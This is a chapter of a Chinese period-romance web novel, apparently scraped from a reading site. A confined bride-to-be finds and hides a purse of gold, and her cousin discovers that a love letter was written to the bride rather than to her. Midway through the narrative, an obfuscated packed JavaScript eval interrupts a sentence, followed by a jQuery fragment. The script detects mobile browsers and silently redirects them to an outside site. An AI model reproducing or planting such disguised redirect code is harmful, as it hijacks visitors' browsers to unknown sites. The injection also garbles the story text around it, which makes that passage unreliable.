默认冷灰
24号文字
方正启体

10. 第十章

作者:stillhet本书字数:K更新时间:
    “母亲!”闻新绿惊醒,她四处看看,只有眼睛红红的伴夏守在床边,她轻声问,“嫁妆送来没有?”


    伴夏摇摇头,语气中有怨气:“别说是嫁妆,夫人都没来栖云阁瞧您一眼,夫人真是太过分,明明您才是她亲生女儿,为何这般狠心……”


    见小姐难受似的皱眉,她连忙取了一碗粥来:“大夫来看过,说您身体虚弱,又一时激动才会突然晕厥,从昨天到现在您都没吃过什么东西,又守了一夜,能不虚弱吗,小姐赶紧将粥喝了,喝了就好了。”


    闻新绿用了小半碗,才有了些力气便撑起身来,她笑着对伴夏道:“我没事,你也别生气了,早该猜到的,也不是一天两天了。”


    她又望向窗外:“我睡了多久?”


    “还不到一个时辰,小姐再睡会吧。”


    闻新绿却摇摇头:“去将钱匣子取来。”


    伴夏将一个上锁的木盒抱了过来,打开后瞳孔剧震:“怎么就剩这点了?!”


    小姐每个月有二两银子月例,三人存了好些年才存到二百两银子,是做压箱底的,可如今木盒中竟只有几锭碎银了,加起来也就几十两。


    闻新绿却很镇定:“除去伴秋的嫁妆,还有昨日给蓝姑的三十两,差不多就是这个数,你帮我数六十两出来,叫人送去给三五三六的家里人,无论如何他们都是因我才遭难。”


    伴夏的手迟迟伸不下去:“可是、可是小姐这是您唯一剩的银子了,三五三六的家里人自有侯爷会照料,若是将这些都给出去,咱们可就什么都没有了。”


    闻新绿道:“左右还有二十日我就要出嫁了,在栖云阁也用不了什么钱,把钱给该给的人吧。”


    虽然心痛,伴夏却也只能听小姐的,只是数了数,她瘪嘴道:“一共才五十七两,还不到六十两呢,小姐,那就一家给二十八两吧,咱们还能剩下一两,总得备用着吧,万一有个什么状况……”


    闻新绿沉默了一会,忽然想起昨日那位将军留下的钱袋,她脸色红了红,不自然道:“昨日将军的钱袋可在,如今也是不得已,若是在,便取三两银子补上吧,就当是我们借的,等日后再还给他。”


    伴夏眼睛一亮:“对哦,我都差点忘了这事。”她转身取来将军给的钱袋子,打开吓了一大跳:“小、小姐,这里面是金子!”


    “什么?”闻新绿睁大眼睛看去,只见钱袋子里满满当当装着好几锭金子,根本不是所想的银子,五十两银子和五十两金子的区别可太大了,如今一两金子可换十两银子,也就是说这相当于五百两银子,闻新绿从没见过这么多钱。


    她心脏砰砰直跳,第一个反应:这位将军不会是贪污了吧?


    第二个反应:这应当是假的吧,怎么可能是真的呢?


    然而经过伴夏牙啃,确认了这是实打实的金子,闻新绿只觉得拿着一袋子烫手山芋,可惜现在被禁足了,要不然她得连夜把金子还回去。


    “这…怎么办?”伴夏也没了招,这么一大笔银子她可不敢乱动。


    闻新绿努力动着脑袋,昨日的将军威风凛凛,年纪轻轻就已身居高位,还是从甘肃回来的,说不定就是未来表姐夫平渭郡王的手下,应该不至于贪污自绝后路吧?


    待她能出门后,定要赶紧寻到这位将军把金子还回去,只是现在……闻新绿纠结许久,终于从钱袋子里找出一颗比指甲盖大不了多少的金子:“事急从权,咱们先借用一些,待拿到嫁妆后就补上。剩下这些赶紧收起来藏好,可不能叫旁人看见,还有我这屋子往后不许别人进。”


    一是说不清来路,二是她的嫁妆才两千两银子,这一袋就抵四分之一嫁妆,若是丢了,闻新绿光是想想心就在滴血。


    于是两人在房间各处寻起了适合藏金子的位置,闻新绿顾不得虚弱,爬起身就找,桌子后、箱子里、墙角,还有床下,她甚至钻进去瞧了瞧,终于让她找到了一处藏钱的好地方。


    “就这里吧。”她指着床底背面有个延伸出来的边条,把钱袋子放进去正好是死角,即便有人查看床底也不会发现。


    主仆两人将巨款藏得严严实实才放下心,如释重负般松了一口气,接着相视而笑。


    闻新绿运动了一番,肚子咕噜噜叫起来,她红着脸捂肚子:“饿了。”


    伴夏笑眯眯的:“饿了好,小姐等着,我这就去叫人送饭过来。”


    闻新绿嘱咐:“叫她们多送点过来,咱们一起吃,伴夏你跟着我奔波了两日,定也累了,等用完膳咱们再休息会,有什么事都等歇息好再说。”


    说着她有些扭捏起来:“待歇完,还有一件事要做呢,我的嫁衣还没有绣好,咱们得赶快绣好嫁衣……”


    “知道知道,绣好嫁衣小姐就等着出嫁了~”伴夏挤眉弄眼,闻新绿脸上起了薄红。


    伴夏出门,屋子里只剩她一人,母亲厌烦的神色忽而浮现面前,闻新绿心中蓦地一痛,随即深呼吸想要将那些情绪压下。


    被母亲误解、斥责,她怎能不难受,只是这般不问即判的案子太多了,明明是表姐打碎的花瓶,却记到了她头上,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164436|196638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明明是旁人先讥讽,最后是她受罚,一年又一年,闻新绿早就不是那个追着要一个公道的小姑娘,她学会了放过别人,也放过自己。


    春景熙熙,窗外那面墙已被爬山藤新吐的嫩绿占领,诉说着勃勃生机,闻新绿相信她也一样,嫩绿的新芽会涤荡心中所有的阴霾。


    -


    “咦,怎么就一箱银子?”


    栖凤阁,侍女们将沈斫年送来的东西摆到小姐面前,除了一封信外,就只有一个朴素的木盒,打开竟是码得整整齐齐的银锭子,约莫有百两。


    锦书嫌弃道:“表少爷未免也太寒酸了些,要知道郡王府命人送来的可是洗金楼花样最新的金簪呢,全京城一共就十支,一支就价值数百两。”


    梅枝觑着小姐神色道:“也不能这么说,送银子恰恰说明表少爷将身家都托付给了小姐,是个一心只读圣贤书的正人君子,不像其他酸腐书生一般还要出入花楼呢,表少爷一看就不了解女人家的东西,没有那些弯弯绕绕的花花肠子,往后想来也是不会拈花惹草的。”


    叶诗予满意地看了梅枝一眼。


    前世的沈斫年确实不是那等拈花惹草之人,即便闻新绿不会生,他也从未纳过妾。


    谁都不想要一个花心的丈夫,这般想着,叶诗予对沈斫年又满意了两分,随意摆了摆手:“银子你们一人拿一锭,其余的放回库中吧。”


    “是。”几个丫鬟喜笑颜开,捧着银子下去了,谁知在出门时,锦书用肩膀狠狠撞了一下梅枝,见人看过来不仅没道歉反而冷哼一声:“马屁精。”


    梅枝露出一丝愤愤,明明是你自己没有本事哄小姐开心,竟还恬不知耻来说她,马屁精怎么了,瞧着吧,她就要马屁精给她们看,把她们都狠狠压在身下,做小姐身边的第一人。


    叶诗予对小丫鬟们之间的斗争并不知晓,她摩挲着那封信,嘴角漾起笑意,说来金银首饰她收到过不少,这般诉情信还未有过。


    她撕开封条,取出信纸,兴致勃勃便要品鉴,谁知八个大字印入眼帘——新绿表妹,见字如晤,似在嘲讽她的自作多情。


    “哐当——”屋里传来瓷器碎裂的声音,丫鬟们连忙挤到门前询问:“小姐怎么了,可要我们进来?”


    叶诗予狠狠捏着信,看着字字含情的“晓看天色暮看云,行也思卿,坐也思卿”,恨不得咬碎一口银牙。


    “不许进来,滚,都给我滚!”叶诗予又挥落几只花瓶,她将信撕成碎片,看着满天散落的碎纸,怒极反笑,“沈斫年,你真是好样的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)